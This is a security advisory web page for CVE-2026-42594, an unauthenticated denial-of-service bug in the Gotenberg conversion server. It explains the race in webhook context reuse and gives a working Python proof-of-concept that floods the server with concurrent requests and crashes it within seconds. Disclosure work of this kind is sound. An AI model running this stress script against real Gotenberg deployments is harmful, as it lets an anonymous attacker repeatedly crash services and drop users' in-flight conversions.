Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-42594 — gotenberg

🟠 CVSS 8.0 — High ✅ No Known Exploit NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine ## Summary The webhook middleware spawns a goroutine that holds a reference to the request's `echo.Context` after the synchronous handler returns `ErrAsyncProcess` and Echo recycles the context back to its `sync.Pool`. When a concurrent request claims the recycled context, `c.Reset()` clears the store. If the webhook goroutine reaches `hardTimeoutMiddleware` at that moment, an unchecked type assertion on a nil store entry panics outside any `recover()` scope, crashing the Gotenberg process. Any anonymous caller reaches the webhook path (default `webhook-deny-list` filters only the webhook destination, not the submitter). A single-source stress of ~24 webhook requests plus ~60 `GET /version` requests crashes the process in about two seconds. ## Details `pkg/modules/webhook/middleware.go:338-382` starts the async goroutine and immediately returns `api.ErrAsyncProcess` to the caller: ```go w.asyncCount.Add(1) go func() { defer cancel() defer w.asyncCount.Add(-1) err := next(c) // line 343 ... sendOutputFile(sendOutputFileParams{ ctx: ctx, ... }) }() return api.ErrAsyncProcess // line 382 ``` `pkg/modules/api/middlewares.go:356-361` sees the sentinel, responds with `204 No Content`, and lets Echo return `c` to the pool: ```go if errors.Is(err, ErrAsyncProcess) { return c.NoContent(http.StatusNoContent) } ``` Echo's router calls `c.Reset()` before serving the next request from the same goroutine pool slot, wiping `c.store`. When the webhook goroutine's `next(c)` enters `hardTimeoutMiddleware` at `pkg/modules/api/middlewares.go:396-398`, the handler dereferences the store before the new recover scope exists: ```go return func(c echo.Context) error { logger := c.Get("logger").(*slog.Logger) // line 398 ... go func() { defer func() { if r := recover(); r != nil { ... } }() // recover is scoped here errChan <- next(c) }() ``` If a concurrent request has just acquired `c` from the pool, `c.Get("logger")` returns `nil`, and `nil.(*slog.Logger)` panics at line 398. The panic is not inside any goroutine with a `recover()`, so the Go runtime terminates the process with exit code 2. No `echo.Recover` middleware is registered (`pkg/modules/api/api.go:480-536`). `GOTRACEBACK` defaults propagate the panic to stderr and exit. ## Proof of Concept Reproduction on the stock Docker image with default configuration: ```bash docker run -d --name gotenberg-poc -p 3000:3000 \ -e GOTRACEBACK=all gotenberg/gotenberg:8 gotenberg --log-level=error ``` Single-process stress script (Alice sends both streams, no second actor): ```python import requests, subprocess, time, json, threading TARGET = "http://localhost:3000" WEBHOOK = "http://httpbin.org/post" # passes default webhook-deny-list STOP = threading.Event() html = b"

Q

" def webhook_fire(): s = requests.Session() while not STOP.is_set(): try: s.post( f"{TARGET}/forms/chromium/convert/html", files={"files": ("index.html", html, "text/html")}, headers={ "Gotenberg-Webhook-Url": WEBHOOK, "Gotenberg-Webhook-Error-Url": WEBHOOK, }, timeout=15, ) except: pass def noise_fire(): s = requests.Session() while not STOP.is_set(): try: s.get(f"{TARGET}/version", timeout=2) except: pass for _ in range(24): threading.Thread(target=webhook_fire, daemon=True).start() for _ in range(60): threading.Thread(target=noise_fire, daemon=True).start() t0 = time.time() while time.time() - t0 < 60: time.sleep(1) status = json.loads(subprocess.run( ["docker", "inspect", "gotenberg-poc"], capture_output=True, text=True, check=True).stdout)[0]["State"] if status["Status"] != "running": print(f"process crashed after {time.time()-t0:.1f}s, exit code {status['ExitCode']}") STOP.set() break ``` Observed output: ``` process crashed after 2.2s, exit code 2 ``` Container stderr captured with `docker logs gotenberg-poc`: ``` panic: interface conversion: interface {} is nil, not *slog.Logger goroutine 287020 [running]: /home/pkg/modules/api/middlewares.go:398 +0x2e6 /home/pkg/modules/webhook/middleware.go:343 +0xec created by github.com/gotenberg/gotenberg/v8/pkg/modules/webhook.(*Webhook).Middlewares.webhookMiddleware.func1.func2.2 /home/pkg/modules/webhook/middleware.go:338 +0x1176 ``` ## Impact Any client that can reach the Gotenberg API crashes the process. Auto-restart policies (`--restart=always`, Kubernetes liveness probes, Compose defaults) let Gotenberg come back up, but each crash drops every in-flight conversion, abandons pending webhook deliveries, and resets internal state. Sustained

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: High — total loss, or loss the attacker controls.

Affected software

CVE-2026-42594 is recorded against 3 packages.

  • github.com/gotenberg/gotenberg/v7
  • github.com/gotenberg/gotenberg/v8
  • gotenberg (fixed in 8.32.0)

Timeline and source

Published on 25 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Advisory)
nvd.nist.gov (Advisory)

Other advisories for this package

github.com/gotenberg/gotenberg/v7 has other advisories on record. If you are patching this one, these are worth checking on the same host:

Details

Severity High
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE N/A
Public Exploit ✅ No
Source NVD
Published 2026-06-25
Updated 2026-08-20
Modified 2026-06-25
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/gotenberg/gotenberg/v7
github.com/gotenberg/gotenberg/v8
gotenberg 8.32.0

Similar Threats

Site Security Check

Is gotenberg part of your stack?

CVE-2026-42594 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026